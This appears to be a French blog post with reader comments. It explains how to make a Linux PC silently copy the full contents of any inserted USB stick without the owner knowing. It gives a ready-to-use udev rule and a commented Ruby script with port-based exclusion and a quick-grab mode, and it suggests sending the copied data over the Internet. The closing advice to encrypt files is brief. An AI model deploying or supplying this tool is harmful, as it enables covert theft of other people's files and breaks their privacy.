L'objectif ici est de copier le contenu de la clef USB (dump) sur le PC dans laquelle elle est insérée et tout ceci à l'insu de son utilisateur. Pour cela je vais utiliser une machine tournant sous Linux, mais il existe bien entendu des équivalents sous Windows.
Sous Linux, le gestionnaire de périphériques depuis le noyau 2.6 s'appelle udev. Il permet de gérer les différents périphériques du répertoire /dev, et de notamment permettre l'exécution d'une commande lors de l'insertion d'un de ces périphériques. C'est exactement ce dont nous avons besoin : exécuter un programme qui copiera le contenu de la clef USB lors de son insertion.
Udev se configure à l'aide de règles que l'on peut trouver dans le répertoire /etc/udev/rules.d et dans le répertoire /lib/udev/rules.d. On commence par créer un nouveau fichier, que l'on va appeler 90_usbdump.rules. Les fichiers sont lus en commençant d'abord par le plus petit chiffre, puis le plus grand. En commençant par 90 on s'assure dans notre exemple que notre fichier sera lu en dernier.
Voilà le contenu de ce fichier :
ACTION=="add", KERNEL=="sd*", RUN+="/root/bin/usb_dumper.rb"
La syntaxe des fichiers rules peut se trouver ici. La règle de ce fichier veut dire, que si c'est une action d'ajout et qu'il y a création d'un device de type sd (sda, sdb, sdc, sda1...), alors on va exécuter le programme suivant /root/bin/usb_dumper.rb. De manière générale, le signe "==" entraîne une condition et le signe "+=" entraîne une réaction qui devra être réalisée si toutes les conditions précédentes sont respectées.
Voilà tout est fait, il ne reste plus qu'à coder le programme usb_dumper.rb qui se chargera de copier le contenu de la clef USB.
J'ai choisi de faire ce programme en ruby (d'où l'extension rb), pour apprendre ce langage qui est nouveau pour moi.
Lors de l'exécution du programme spécifié dans le paramètre RUN, de nombreuses variables d'environnement sont créées qui vont nous permettre d'obtenir les informations nécessaires à la réalisation de notre programme. Le programme suivant permet de récupérer toutes ces variables (il faut changer la commande RUN pour exécuter ce programme) :
#!/usr/bin/env ruby file = File.new("/root/tmp/log", "a+"): ENV.each {|k,v| file.puts "#{k}:#{v}"} file.close();
Le résultat après insertion de la clef usb permet de donner quelques informations importantes comme le type d'action qu'il y a eu (insertion, extraction...), le device responsable (/dev/sdb par exemple), le bus utilisé... Ces informations vont permettre à notre programme de savoir où chercher la clef et aussi de faire différentes actions en fonction du port usb physique utilisé par exemple.
Le code source de usb_dumpe.rb est fourni commenté.
#!/usr/bin/env ruby require 'fileutils' # Fichier de log pour savoir ce qui c'est passé log_file_name = "/root/usb_dump/log" max_try = 10 # Répertoire de destination du dump de la clef dest = "/root/usb_dump" # Si la clef est insérée sur le port physique numéro 1, on ne la dump pas exclude_usb_port = "1" # Si la clef est insérée sur le port physique numéro 4, on fait un dump rapide fast_usb_port = "4" # Taille max des fichiers a recuperer lors d'un dump rapide max_size = 5000000 # Temps maximum que l'on s'autorise lors d'un dump rapide max_time = 60 # Recuperation du device cree (de type /dev/sdb) device = ENV['DEVNAME'] log_file = File.new(log_file_name, "a+") # La variable d'environnement ID_PATH nous permet de savoir sur quel port physique on est if ENV['ID_PATH'].grep(/usb-0:#{exclude_usb_port}:/).length != 0 log_file.puts "#{ENV['ID_SERIAL']} ignore car present sur un port exclu\n\n" exit(0) end try = 1 log_file.puts "Lancement usb_dump.rb sur #{device}\n" # Notre programme est appelé avant que la clef soit montée... on attend donc while `mount`.grep(/#{device}/).length == 0 and try <= max_try sleep(1) try += 1 end if try > max_try log_file.puts "USB non monte\n" exit(1) end # On récupère le répertoire sur lequel la clef est montée mount_point = `mount`.grep(/#{device}/")[0].gsub(/.*on (.+) type.*$/,'\1').chomp log_file.puts "Mount Point : #{mount_point}\n" # Creation du repertoire de stockage log_file.puts "###### #{ENV['ID_SERIAL']} #{ENV['ID_PATH']} ######\n" dest += "/" + ENV['ID_SERIAL'] + "_" + Time.now.strftime('%Y%m%d_%H%M') FileUtils.mkdir(dest) log_file.puts "Creation de #{dest}...\n" # On prend le temps de démarrage au cas où on devrait respecter une durée maximale start_time = Time.now # On parcourt recursivement la clef Dir[mount_point + "/**/*"].each do |f| # Si on est sur le port physique qui demande de la rapidité, on vérifie qu'on a pas dépassé le temps maximum if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0 current_time = Time.now log_file.puts "Temps : #{current_time - start_time} #{current_time - start_time >= max_time}\n" if current_time - start_time >= max_time log_file.puts "Stop car depassement du temps\n\n" exit(0) end end log_file.puts "#{f}" dst = dest + f[mount_point.length,f.length] if File.directory?(f) FileUtils.mkdir(dst) log_file.puts "Creation de #{dst}...\n" elsif File.file?(f) # Si on est sur le port physique qui demande de la rapidité, on ne copie pas les gros fichiers if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0 and File.size(f) > max_size file_size = File.size(f) log_file.puts "Fichier #{f} trop volumineux : #{file_size}\n" else FileUtils.copy_file(f,dst) log_file.puts "Copie de #{f} vers #{dst}...\n" end end end log_file.puts "\n\n" log_file.close()
Comme on peut le voir, en quelques lignes de codes on peut très facilement mettre en place un système qui aspirera le contenu d'une clef USB de façon complètement transparente pour l'utilisateur.
Le script fait la distinction entre 3 catégories de port USB. Un port qui n'aspirera pas le contenu de la clef (utile pour ne pas se faire aspirer sa propre clef), un port qui aspirera le contenu des clefs en se limitant aux fichiers inférieurs à une certaine taille et limité dans le temps (dans le cas où on ne peut pas se permettre de garder la clef trop longtemps) et tous les autres ports feront une copie de tout le contenu de la clef.
Il est bien entendu possible d'adapter ce script, pour par exemple limiter la copie à certains types de fichiers, envoyer le contenu directement sur Internet...
Il est donc impératif de faire très attention quand on branche sa clef USB sur une machine inconnue, sous peine de voir le contenu de notre clef dupliqué sur l'ordinateur (voire carrément transféré directement sur Internet). La seule parade à cela reste de chiffrer l'ensemble de nos fichiers confidentiels, par l'intermédiaire de truecrypt par exemple.
Update :
Equivalents Windows : USBDumper et USBVirusScan (Merci Rémy).
Equivalents sous Windows:
RépondreSupprimer- USBDumper par Eric Detoisien
- USBVirusScan par Didier Stevens
(pour les liens correspondants, STFW)
Ajouté ! Merci.
RépondreSupprimer